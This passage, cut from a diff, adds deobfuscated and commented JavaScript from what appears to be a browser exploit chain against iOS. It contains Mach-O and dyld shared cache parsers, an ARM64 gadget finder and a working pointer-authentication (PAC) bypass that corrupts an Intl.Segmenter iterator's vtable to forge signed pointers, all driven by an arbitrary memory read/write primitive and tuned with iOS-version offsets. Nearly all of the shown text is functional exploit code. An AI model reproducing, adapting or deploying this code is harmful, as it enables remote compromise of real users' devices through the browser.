r[n]) << o, o += 7; + } while (128 & r[n++]); + if (e === t && 0 !== i) { + n++; + let t = 0; + o = 0; + // Read ULEB128 — symbol offset + do { + t += (127 & r[n]) << o, o += 7; + } while (128 & r[n++]); + return t; + } + n += i; + const h = r[n++]; // number of children + for (let i = 0; i < h; i++) { + let i = ""; + for (; 0 !== r[n];) i += String.fromCharCode(r[n++]); + n++; + let h = 0; + o = 0; + // Read ULEB128 — child node offset + do { + h += (127 & r[n]) << o, o += 7; + } while (128 & r[n++]); + if (i.length && e + i === t.substr(0, e.length + i.length)) { + e += i, n = h, s = !1; + break; + } + } + } + return 0; + } + } + + // Int64-based symbol resolver (uses MachOImage.oh for trie lookup) + class rt { + constructor(t) { + this.hh = t, this.lh = this.hh.Ho.Go; + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage2 rt.dlsym(" + t + "): symbol not found"); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("rt.uh(...t) failed"); + } + } + + // BigInt-based symbol resolver and segment inspector + class et { + constructor(t) { + this.hh = t, this.dh = null, this.wh = this.hh.Ho.Go.yt(); // base address as BigInt + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.wh + r : 0; + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("et.uh(...t) failed"); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage2 et.dlsym(" + t + "): symbol not found"); + return this.wh + r; + } + // Convert segment info to BigInt representation + gh(t) { + return { + Xe: t.Xe, // segment name + qe: t.qe.yt(), // vmaddr + Eo: t.Eo.yt(), // vmaddr (dup) + Oo: t.Oo.yt(), // vmsize + Qe: t.Qe.yt(), // fileoff + zo: t.zo.yt(), // filesize + $o: t.$o, // maxprot + qo: t.qo, // initprot + Mo: t.Mo, // nsects + flags: t.flags, + Do: t.Do.yt(), // sections pointer + Lo: t.Lo // sections dict + }; + } + // Convert section info to BigInt representation + mh(t) { + return { + Xe: t.Xe, // segname + Vo: t.Vo, // sectname + qe: t.qe.yt(), // addr + Oo: t.Oo.yt(), // size + Qe: t.Qe.yt() // offset + }; + } + // Find segment by name and return BigInt version + Eh(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.hh.eh[r].Xe === t) return this.gh(this.hh.eh[r]); + return null; + } + // Find section by segment name + section name + _h(t, r) { + const e = this.Eh(t); + if (null !== e) { + if (0 !== Object.keys(e.Lo).length) { + const t = e.Lo[r]; + return void 0 !== t ? this.mh(t) : null; + }{ + let n = null; + for (let s = 0; s < e.Mo; s++) { + const i = e.Do + 80 * s, + o = t, + h = platformModule.platformState.exploitPrimitive.readString(i, 16), + c = { + Xe: o, + Vo: h, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 48) + }; + r === h && (n = c), e.Lo[h] = c; + } + return n ? this.mh(n) : null; + } + } + return null; + } + // Find section by segment + section name (direct scan) + bh(t, r) { + const e = this.Eh(t); + if (null !== e) + for (let n = 0; n < e.Mo; n++) { + const s = e.Do + 80 * n, + i = t, + o = platformModule.platformState.exploitPrimitive.readString(s, 16); + if (r === o) { + const t = { + Xe: i, + Vo: o, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 48) + }; + return this.mh(t); + } + } + return null; + } + // Get segment or throw + ph(t) { + const r = this.Eh(t); + if (!r) throw new Error("Stage2 et.ph(" + t + "): segment not found"); + return r; + } + // Get or create the ImageList (dyld shared cache image list) + Sh() { + return null === this.dh && (this.dh = new nt(this.hh.Ho.Ko.yt(), this.hh.Ho.Zo.yt())), this.dh; + } + // Resolve exported symbol to a pointer (BigInt) + xh(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readInt64FromOffset(r) : new utilityModule.Int64(0, 0); + } + // Convert virtual address to file address + Ih(t) { + const r = this.ph("__TEXT"); + return t - r.Eo + r.qe; + } + Th(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readRawBigInt(r) : 0; + } + yh(t, r) { + const e = this.ih(t); + return 0 !== e ? platformModule.platformState.exploitPrimitive.readByte(e) : r; + } + // Search a segment for a specific 64-bit value + kh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (platformModule.platformState.exploitPrimitive.read32(n) === r >>> 0 && platformModule.platformState.exploitPrimitive.read32(n + 4) === r / 4294967296 >>> 0) return n; + } + throw new Error("et.kh(t, r) failed"); + } + // Check if an address falls within a segment + Oh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + const n = e.qe, + s = e.qe + e.Oo; + return r >= n && r < s; + } + // Check if an address falls within a specific section + zh(t, r, e) { + const n = this._h(t, r); + if (null === n) throw new Error("null === n"); + const s = n.qe, + i = n.qe + n.Oo; + return e >= s && e < i; + } + // Check if address is in any segment + Ph(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.Oh(this.hh.eh[r].Xe, t)) return !0; + return !1; + } + // Search segment for a 64-bit value and return address where found + Uh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return e.qe + t; + throw new Error("et.Uh(t, r) failed"); + } + // Search segment and return the read value at match + Ah(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return platformModule.platformState.exploitPrimitive.readInt64FromOffset(e.qe + t); + throw new Error("et.Ah(t, r) failed"); + } + // Cross-segment search with callback + $h(t, r, e) { + const n = this.Eh(t); + if (null === n) throw new Error("null === n"); + const s = this.Eh(r); + if (null === s) throw new Error("null === s"); + for (let t = 0; t < s.Oo; t += 8) { + const r = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(s.qe + t); + if (r >= n.qe && r < n.qe + n.Oo && !0 === e(r, platformModule.platformState.exploitPrimitive.readInt64FromOffset(s.qe + t))) break; + } + } + // Iterate segment in 4-byte steps with callback + qh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 4) { + const n = e.qe + t; + if (!0 === r(n, platformModule.platformState.exploitPrimitive.read32(n))) break; + } + } + // Iterate segment in 8-byte steps with callback using memory accessor + Rh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (!0 === r(Z.ut(n))) break; + } + } + // Find which segment contains a given Int64 address + Ch(t) { + for (const r of this.hh.eh) { + const e = Z.ut(r.qe), + n = Z.ut(r.qe).H(utilityModule._(r.Oo)); + if (t.Pi(e) && t.Si(n)) return r; + } + return null; + } + } + + // ════════════════════════════════════════════════════════════════════════════ + // Image list — dyld shared cache image enumeration (class nt / ImageList, first definition) + // ════════════════════════════════════════════════════════════════════════════ + + /* Original: ImageList (first definition, Int64-based) */ + class nt { + constructor(t, r) { + this.Mh = t, // dyld shared cache slide + this.Dh = r, // dyld shared cache header address + this.Lh = !1, // uses new-format image info + this.Bh = {}, // cached parsed images + this.images = this.Nh(); + } + Vh() { + return platformModule.platformState.exploitPrimitive.readString(this.Dh); // read magic string at cache header + } + Xh() { + return "dyld_v1 arm64e" === this.Vh(); // check if arm64e cache + } + Zh() { + return this.Mh; // return cache slide + } + // Parse the image list from the dyld shared cache header + Nh() { + const t = []; + if (!this.Vh().startsWith("dyld")) throw new Error("!this.Vh().startsWith(dyld)"); // "dyld_v1 arm64e" + let r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 24), // imagesOffset + e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 28); // imagesCount + // Fallback to new-style offsets if old ones are zero + if (0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452), 0 === r && 0 === e)) throw new Error("0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452), 0 === r && 0 === e)"); + for (let n = 0; n < e; n++) { + const e = this.Dh + r + 32 * n, // each image info is 32 bytes + s = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e) + this.Mh, // image load address + slide + i = platformModule.platformState.exploitPrimitive.read32(e + 24), // pathFileOffset + o = platformModule.platformState.exploitPrimitive.readString(this.Dh + i); // image path string (e.g. "/usr/lib/libSystem.B.dylib") + t.push({ + address: s, + path: o + }); + } + return t; + } + // List all image paths + jh() { + const t = []; + for (const r of this.images) t.push(r.path); + return t; + } + // Resolve a symbol in a specific image + Fh(t, r) { + return this.Hh(t).dlsym(r); + } + // Search all images for a symbol + Kh(t) { + for (const r of this.images) try { + return this.Hh(r.path).dlsym(t); + } catch (t) { + continue; + } + throw new Error("nt.Kh(t) failed"); + } + // Find image base address by path substring + Gh(t) { + for (let r = 0; r < this.images.length; r++) + if (-1 !== this.images[r].path.indexOf(t)) return this.images[r].address; + return 0; + } + // Parse an image and return its export resolver (cached) + Hh(t) { + if (void 0 === this.Bh[t]) { + const r = this.Gh(t); + if (0 === r) return null; + this.Bh[t] = Y(utilityModule.Int64.fromNumber(r)).ar(); // parse Mach-O, get BigInt resolver + } + return this.Bh[t]; + } + Jh(t) { + const r = this.Hh(t); + if (null === r) throw new Error("null === r"); + return r; + } + // Try multiple image paths, return first successful + Qh(...t) { + for (const r of t) try { + return this.Jh(r); + } catch (t) {} + throw new Error("nt.Qh(...t) failed"); + } + } + return r; +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Module imports (second code section — BigInt-based PAC bypass) +// ════════════════════════════════════════════════════════════════════════════ + +const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), // utility_module + { + N: G, // toHexString + tn: W, // assert + nn: C, // TypeHelper + Vt: m, // Int64 + U: j, // toBigInt + An: S, // unsignedBigIntToNumber + vn: O, // debug/unused + v: o, // MAX_SAFE_HI32 (127) + I: u, // POINTER_MASK (0x7FFFFFFFFF) + B: s // POINTER_TAG_SHIFT (39) + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); // platform_module + +// ════════════════════════════════════════════════════════════════════════════ +// PAC bypass classes (class it / PACBypassBase and class nn / PACBypass) +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: PACBypassBase — abstract base with stub methods */ +class PACBypassBase { + constructor() { + this.tc = null, // call3 (three-arg PAC call) + this.ic = null, // call4 (four-arg PAC call) + this.cc = !1; // initialized flag + } + pacda(n, t) {// pacda — sign data pointer with context + return new utilityModule.Int64(0, 0); + } + pacia(n, t) {// pacia — sign instruction pointer with context + return new utilityModule.Int64(0, 0); + } + autda(n, t) {// autda — authenticate data pointer + return new utilityModule.Int64(0, 0); + } + autia(n, t) {// autia — authenticate instruction pointer + return new utilityModule.Int64(0, 0); + } + da = this.pacda;er = this.pacia;ha = this.autia;wa = this.autda; +} +const it = PACBypassBase; +r.sc = PACBypassBase; +r.ga = function () { + window.log(`[PAC] Creating PACBypass instance...`); + return new PACBypass(); // factory: create PACBypass instance +}; + +/* Original: PACBypass — Intl.Segmenter-based PAC signing/authentication */ +class PACBypass extends PACBypassBase { + // Sign data pointer: pacda(pointer, context) + pacda(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 0n)); + } + // Sign instruction pointer: pacia(pointer, context) + pacia(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 1n)); + } + // Authenticate instruction pointer: autia(pointer, context) + autia(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 2n)); + } + // Authenticate data pointer: autda(pointer, context) + autda(n, t) { + const o = n.Nt(), + c = t.Nt(); + return utilityModule.Int64.fromBigInt(this.Ka(o, c, 3n)); + } + da = this.pacda;er = this.pacia;wa = this.autda;ha = this.autia; + constructor() { + super(); + window.log(`[PAC] === PAC Bypass (Intl.Segmenter) initialization starting ===`); + // ── Intl.Segmenter PAC bypass flow ────────────────────────── + // 1. Create Intl.Segmenter iterator and locate its ICU BreakIterator vtable + // 2. Find PAC signing gadgets in dyld shared cache libraries + // 3. Corrupt vtable to chain gadgets: sign/auth pointer via iterator.next() + // 4. Use xmlHashScanFull + CFRunLoopObserverCreateWithHandler as call-primitive wrappers + const n = function () { + const n = platformModule.platformState.exploitPrimitive, + t = new Intl.Segmenter("en", { + Pa: "sentence" // "sentence" granularity — triggers ICU BreakIterator + }), + o = []; + for (let n = 0; n < 300; n++) o.push("a"); + const c = o.join(" "), + e = t.segment(c), // create Segments object + { + Ja: l, // CFRunLoopObserverCreateWithHandler gadget info + Ya: r, // gadget addresses (Ua=vtable ptr, ja=dlfcn gadget, etc.) + Oa: i, // enet gadget call targets + ua: a, // PAC signing vtable base address + Ba: s // PAC operation function pointers {da, er, ha, wa} + } = en.Fa(e); // SegmenterExploit.Fa — find all gadgets + // Test call: invoke vtable function via corrupted iterator + en.va(e, r, i, r.Ua, 0x0n, 0x12n, 0x30n); + // Resolve CFRunLoopObserverCreateWithHandler to get a PAC-signed function pointer + const [u, d] = n.allocCString("CFRunLoopObserverCreateWithHandler"),I = en.va(e, r, i, r.ja, d, 0x0n, 0x0n),m = n.read64(l.qa),y = n.read64(l.$a),C = (() => { + try { + // Temporarily overwrite CFRunLoopObserver pointers with stripped PAC values + n.write64(l.qa, cn(r.Ua)), n.write64(l.$a, cn(a)); + // Call through corrupted path to harvest a PAC-signed return value + const t = en.va(e, r, i, I, 0x0n, 0x0n, 0x0n); + return n.read64(t + 0x90n); + } finally { + // Restore original values + n.write64(l.qa, m), n.write64(l.$a, y); + } + })(),[b, g] = n.allocCString("xmlHashScanFull"),h = en.va(e, r, i, r.ja, g, 0x0n, 0x0n, 0x0n), + // Allocate scratch buffers for call frame construction + [p, K] = n.allocZeroBufferPair(32),[L, X] = n.allocZeroBufferPair(48), + // f() — the core PAC-signing call primitive + // Builds a fake xmlHash frame, calls xmlHashScanFull to invoke a PAC-signed pointer + f = (t, o, c, l, a, s) => (n.write64(K + 0x0n, X), n.write32(K + 0x8n, 1), n.write32(K + 0xcn, 1), n.write64(X + 0x0n, 0x0n), n.write64(X + 0x8n, l), n.write64(X + 0x10n, a), n.write64(X + 0x18n, s), n.write64(X + 0x20n, o), n.write32(X + 0x28n, 1), en.va(e, r, i, h, K, t, c)); + // Verify the call primitive works (should return h itself) + if (f(C, cn(h), 0x0n, 0x0n, 0x0n, 0x0n) !== h) throw new Error("f(C, cn(h), 0x0n, 0x0n, 0x0n, 0x0n) !== h"); + return { + Ba: s, // PAC operation addresses {da, er, ha, wa} + // nu — sign/authenticate a PAC pointer (the main primitive) + nu: (n, t, o) => f(C, cn(n), 0xffffffffffffn & t, 1n, t >> 48n, o), + // ic — call a PAC-signed function pointer with 3 extra args + ic: (n, t, o, c) => { + if (cn(n) === n) throw new Error("cn(n) === n"); // must be PAC-signed + return en.va(e, r, i, n, t, o, c); + } + }; + }(); + // Wire up the PAC primitives from the Segmenter exploit + this.Ka = n.nu, // sign/auth call + this.tu = n.ic, // direct PAC call + this.tc = (n, t, o) => {// call3: PAC-signed 3-arg call + const c = n.Nt(), + e = t.Nt(), + l = o.Nt(); + return utilityModule.Int64.fromBigInt(this.tu(c, e, l, 0n)); + }, this.ic = (n, t, o, c) => {// call4: PAC-signed 4-arg call + const e = n.Nt(), + l = t.Nt(), + r = o.Nt(), + i = c.Nt(); + return utilityModule.Int64.fromBigInt(this.tu(e, l, r, i)); + }, this.La = utilityModule.Int64.fromBigInt(n.Ba.pacda), + this.Xa = utilityModule.Int64.fromBigInt(n.Ba.pacia), // pacia address + this.Ga = utilityModule.Int64.fromBigInt(n.Ba.autia), // autia address + this.Ma = utilityModule.Int64.fromBigInt(n.Ba.autda), // autda address + this.cc = !0; // mark initialized + window.log(`[PAC] === PAC Bypass initialized successfully ===`); + } +} +const nn = PACBypass; + +// ════════════════════════════════════════════════════════════════════════════ +// Segmenter offset constants (const tn/on / segmenterOffsets) +// These are offsets into WebKit/ICU internal data structures used to +// locate and corrupt the Intl.Segmenter iterator's BreakIterator vtable. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: segmenterOffsets */ +const segmenterOffsets = (() => { + const n = { + ou: 16, // offset to JSCell inline storage pointer + cu: 328, // offset from inline storage to ICU BreakIterator + eu: 472, // offset to BreakIterator backing store + lu: 512, // offset to BreakIterator internal data + ru: 520, // offset to BreakIterator state + iu: 664, // offset to scratch/temp buffer + au: 8, // offset within backing store to rule table + su: 0, // rule table: row count offset + uu: 4, // rule table: row size offset + du: 12, // rule table: some size field + Iu: 16, // rule table: flags offset + mu: 20, // rule table: row data start + yu: 3, // rule table: per-row data start + Cu: 32, // internal data: lookup table offset + bu: 48, // state: status field offset + gu: 16, // ICU BreakIterator: fake vtable pointer offset + hu: 44, // ICU BreakIterator: position field offset + pu: 48, // ICU BreakIterator: text pointer offset + Ku: 56, // ICU BreakIterator: delegate pointer offset + Lu: 112, // vtable stub size (bytes to copy) + Xu: 8, // rule row header size + fu: 24, // rule table header size + _u: 16, // rule row alignment + Mu: 176, // offset for some internal struct + Tu: 88, // offset within struct + xu: 96, // offset within struct + ku: 24, // offset within struct + Gu: 16, // offset within struct + Du: 40, // offset within struct (changes for iOS >= 16.4) + wu: 28, // offset within struct + Su: 24, // offset within struct + Au: 8, // offset within struct + Zu: 224, // offset for PAC data region + zu: 8, // field offset + Nu: 8, // field offset + Ru: 16, // field offset + Wu: 16, // field offset + Hu: 32, // vtable: virtual function dispatch offset + Vu: 64, // vtable: virtual function 2 offset + Qu: 16, // vtable helper offset + Pu: 56, // call frame: function pointer offset + Ju: 0, // call frame: arg0 offset + Yu: 144, // call frame: result offset + Ou: 152, // call frame: result2 offset + Bu: 168, // call frame: result3 offset + Eu: 0, // sub-frame offset + Fu: 8, // sub-frame offset + vu: 0, // sub-frame offset + Uu: 8, // sub-frame offset + ju: 136, // return value offset + qu: 8, // return value sub-offset + $u: 312 // total frame size + }; + // Adjust offset for iOS >= 16.4 + return platformModule.platformState.iOSVersion >= 160400 && (n.Du = 40), n; + })(), + /* Original: segmenterOffsets (proxied) — throws on unknown property access */ + on = new Proxy(segmenterOffsets, { + get(n, t) { + if (t in n) return n[t]; + throw new Error("segmenterOffsets.on() failed"); + } + }); +const tn = segmenterOffsets; + +// ════════════════════════════════════════════════════════════════════════════ +// stripPACBits helper (function cn / stripPACBits) +// Strips the PAC signature bits from a pointer, leaving only the raw address. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: stripPACBits */ +function cn(n) { + return n & j(u); // n & POINTER_MASK (0x7FFFFFFFFF) — strip upper PAC bits +} + +// ════════════════════════════════════════════════════════════════════════════ +// Image list (class nt / ImageList, second definition — BigInt-based) +// Parses the dyld shared cache to enumerate loaded images and resolve symbols. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ImageList (second definition, BigInt-based) */ +class nt { + constructor(n) { + this.images = n; + } + // Find a parsed image by path substring (tries multiple path candidates) + tl(...n) { + for (const t of n) + for (const n of this.images) + if (-1 !== n.path.indexOf(t)) return null === n.ol && (n.ol = tt.init(n.ll)), n.ol; + throw new Error("nt.tl(...n) failed"); + } + // Create ImageList from a pointer into the dyld shared cache + static nd(n) { + const t = tt.td(n), + o = (() => { + const n = t.sl("__TEXT"); // find __TEXT segment + if (null === n) throw new Error("null === n"); + return { + Qo: t.al - n.cl, // ASLR slide = base - vmaddr + fl: t.al - n._l // file-to-memory offset + }; + })(), + c = platformModule.platformState.exploitPrimitive.read32(o.fl + 0x1c0n), // imagesOffset in dyld cache header + e = platformModule.platformState.exploitPrimitive.read32(o.fl + 0x1c4n), // imagesCount in dyld cache header + l = [], + r = o.fl + j(c); + for (let n = 0; n < e; n++) { + const c = cn(platformModule.platformState.exploitPrimitive.read64(r + j(32 * n))) + o.Qo, // image address + slide + e = platformModule.platformState.exploitPrimitive.read32(r + j(32 * n) + 0x18n), // path offset + i = platformModule.platformState.exploitPrimitive.readString(o.fl + j(e), 1024); // image path string + l.push({ + path: i, + ll: c, // image load address + ol: t.al === c ? t : null // cache parsed image if it's the same base + }); + } + window.log(`[PAC] Parsed ${l.length} images from dyld shared cache`); + return new nt(l); + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Mach-O parser (class tt / MachOImage, second definition — BigInt-based) +// Parses Mach-O headers directly from memory using BigInt addresses. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: MachOImage (second definition, BigInt-based) */ +class tt { + // Resolve an exported symbol name via the export trie + kl(n) { + if (null !== this.Cl) { + const t = this.Cl.Nn(n); // ExportTrieParser.Nn lookup + return null !== t ? this.al + j(t) : null; + } + throw new Error("tt.kl(n) failed"); + } + // Find a segment by name + sl(n) { + const t = this.Al[n]; + return void 0 !== t ? t : null; + } + // Create MachOImage by scanning backwards from an address to find the Mach-O header + static td(n) { + if (0n === n) throw new Error("0n === n"); + const t = (() => { + let t = n - n % 0x1000n; // page-align downward + for (; + 0xFEEDFACF !== platformModule.platformState.exploitPrimitive.read32(t);) t -= 0x1000n; + return t; + })(); + return tt.init(t); + } + // Parse Mach-O load commands starting from a known header address + static init(n) { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(16)), // ncmds + o = []; + let c = null, // export trie info + e = null, // ASLR slide (base - __TEXT vmaddr) + l = 32; // offset to first load command + for (let r = 0; r < t; r += 1) { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(l)), // cmd type + r = platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(4)); // cmdsize + switch (t) { + case 25:{// LC_SEGMENT_64 (0x19) + const t = Object.create({ + Xe: platformModule.platformState.exploitPrimitive.readString(n + j(l) + j(8), 16), // segname (e.g. "__TEXT") + cl: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(24)), // vmaddr + ml: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(32)), // vmsize + _l: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(40)), // fileoff + dl: platformModule.platformState.exploitPrimitive.read64(n + j(l) + j(48)), // filesize + hl: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(56)), // maxprot + wl: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(60)), // initprot + flags: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(68)), // flags + bl: void 0, // rebased vmaddr (filled later) + yl: (() => { + const t = platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(64)), // nsects + o = new Array(t).fill(null); + for (const t in o) o[t] = { + name: platformModule.platformState.exploitPrimitive.readString(n + j(80 * t) + j(l + 72), 16), // sectname + cl: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x20n), // addr + ml: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x28n), // size + _l: platformModule.platformState.exploitPrimitive.read64(n + j(80 * t) + j(l + 72) + 0x30n), // offset + bl: void 0 // rebased addr + }; + return o; + })(), + xl(n) { + for (const t of this.yl) + if (t.name === n) return t; + return null; + } + }); + if ("__TEXT" === t.Xe) {// __TEXT segment — compute slide + if (null !== e) throw new Error("null !== e"); + e = n - t.cl; + } + o.push(t); + break; + } + case 0x80000022 /* LC_DYLD_INFO_ONLY */: + case 0x80000033 /* LC_DYLD_EXPORTS_TRIE */: + if (null !== c) throw new Error("null !== c"); + c = { + me: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(6442450978 === t ? 40 : 8)), // export data offset + size: platformModule.platformState.exploitPrimitive.read32(n + j(l) + j(6442450978 === t ? 44 : 12)) // export data size + }; + } + l += r; + } + const r = {}, + i = []; + if (null === e) throw new Error("null === e"); + // Rebase all segments and sections by ASLR slide + for (const n of o) { + n.bl = n.cl + e; + for (const t of n.yl) t.bl = n.cl + e; + n.Xe.length > 0 ? r[n.Xe] = n : i.push(n); + } + return new tt(n, r, i, c); + } + constructor(n, t, o, c) { + this.al = n, // Mach-O header base address (BigInt) + this.Al = t, // segments by name + this.Sl = o, // unnamed segments + this.Cl = (() => {// ExportTrieParser (or null) + if (null === c) return null; + const n = t.__LINKEDIT; // __LINKEDIT segment for export data + if (void 0 === n) return null; + const o = n.bl + j(c.me) - n._l, // compute export trie address in memory + e = new Uint32Array(c.size + 3 >> 2); + for (let n = 0; n < e.length; n++) e[n] = platformModule.platformState.exploitPrimitive.read32(o + j(4 * n)); + return new ExportTrieParser(e.buffer); + })(); + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Export trie parser (class nr / ExportTrieParser and class tr / TrieNodeReader) +// Parses the Mach-O export trie to resolve symbol names to offsets. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ExportTrieParser */ +class ExportTrieParser { + // Look up a symbol name in the export trie; returns offset or null + Nn(n) { + const t = new TrieNodeReader(this.Tl); // create a TrieNodeReader over the raw trie data + let o = "", + c = !1; + for (; !c;) { + c = !0; + const e = t.El(); // read ULEB128: terminal size + if (0 !== e && n === o) { + const n = t.El(); // read export kind/flags + if (8 !== n && 16 !== n) { + return t.El(); // read ULEB128: symbol offset from image base + } + } + t.pl(e); // skip terminal info bytes + const l = t.gl(); // number of child edges + for (let e = 0; e < l; e += 1) { + const e = t.Il(0, 4132), // read edge label string (null-terminated) + l = t.El(); // read ULEB128: child node offset + if (e.length > 0 && n.startsWith(o + e)) { + o += e, t.ue(l), c = !1; // follow this edge + break; + } + } + } + return null; + } + constructor(n) { + this.Tl = n; // raw trie data (ArrayBuffer) + } +} +const nr = ExportTrieParser; + +/* Original: TrieNodeReader — byte-level reader for export trie traversal */ +class TrieNodeReader { + constructor(n) { + this.Fl = new Uint8Array(n), // raw bytes view + this.en = new DataView(n), // DataView for structured reads + this.Pl = 0; // current read position + } + // Advance position by n bytes + pl(n) { + this.Pl += n; + } + // Seek to absolute position + ue(n) { + this.Pl = n; + } + // Read a single byte and advance + gl() { + const n = this.Fl[this.Pl]; + return this.Pl += 1, n; + } + // Read a string until terminator byte `n` (max `t` chars) + Il(n, t = 256) { + let o = ""; + for (let c = 0; c < t; c++) { + const t = this.gl(); + if (t === n) return o; + o += String.fromCharCode(t); + } + throw new Error("TrieNodeReader.Il(n, t) failed"); + } + // Read ULEB128 encoded integer + El() { + let n = 0, + t = 0; + for (let o = 0; o < 128; o += 1) { + const o = this.gl(); + if (n += (127 & o) << t, t += 7, 0 == (128 & o)) return n; + } + throw new Error("TrieNodeReader.El() failed"); + } +} +const tr = TrieNodeReader; + +// ════════════════════════════════════════════════════════════════════════════ +// ARM64 gadget finder (class or / ARM64GadgetFinder) +// Searches Mach-O __TEXT segments for specific ARM64 instruction sequences +// (gadgets) needed to build the PAC bypass call chain. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: ARM64GadgetFinder */ +class or { + constructor(n) { + this.od = n; // ImageList reference for resolving images + } + // Find a PAC-signed pointer to a known export in data segments + // Searches __AUTH, __AUTH_CONST, __DATA, __DATA_DIRTY for a pointer + // whose stripped value matches the export address + Ul(n) { + const t = n.vl.kl(n.Dl); // resolve export name to address + if (null !== t) + for (const o of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const c = n.Ll.sl(o); + if (null !== c) + for (let n = 0x0n; n < c.ml; n += 0x8n) { + const o = platformModule.platformState.exploitPrimitive.read64(c.bl + n); + if (cn(o) === t) return o; // found PAC-signed pointer + } + } + return null; + } + // Find a PAC-signed pointer to a gadget matching an instruction pattern + // in __TEXT, stored in data segments + Bl(n) { + const t = n.ol.sl("__TEXT"); + if (null === t) return null; + const o = n.Ol; // instruction pattern to match + for (const c of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const e = n.ol.sl(c); + if (null !== e) + for (let n = 0x0n; n < e.ml; n += 0x8n) { + const c = platformModule.platformState.exploitPrimitive.read64(e.bl + n), + l = cn(c); + // Check: stripped pointer is in __TEXT and matches the gadget pattern + if (t.bl <= l && l <= t.bl + t.ml && this.Nl(l, o)) return c; + } + } + return null; + } + // Search __TEXT for an instruction sequence matching pattern `t` + Kl(n, t, o = null) { + const c = n.sl("__TEXT"); + if (null === c) return null; + const e = c.bl; + let l = null !== o ? o - c.bl : 0x0n; + for (; l < c.ml;) { + const n = e + l; + if (this.Nl(n, t, !1)) return n; + l += 0x4n; // ARM64 instructions are 4 bytes + } + return null; + } + // Follow branch instructions (B/BL) from an address, collecting targets + zl(n, t = 64) { + const o = n, + c = []; + let e = 0x0n; + for (; e < j(t);) { + const n = o + e, + t = platformModule.platformState.exploitPrimitive.read32(n); + // Check for B (0x14xxxxxx) or BL (0x94xxxxxx) instructions + if (0x14000000n === 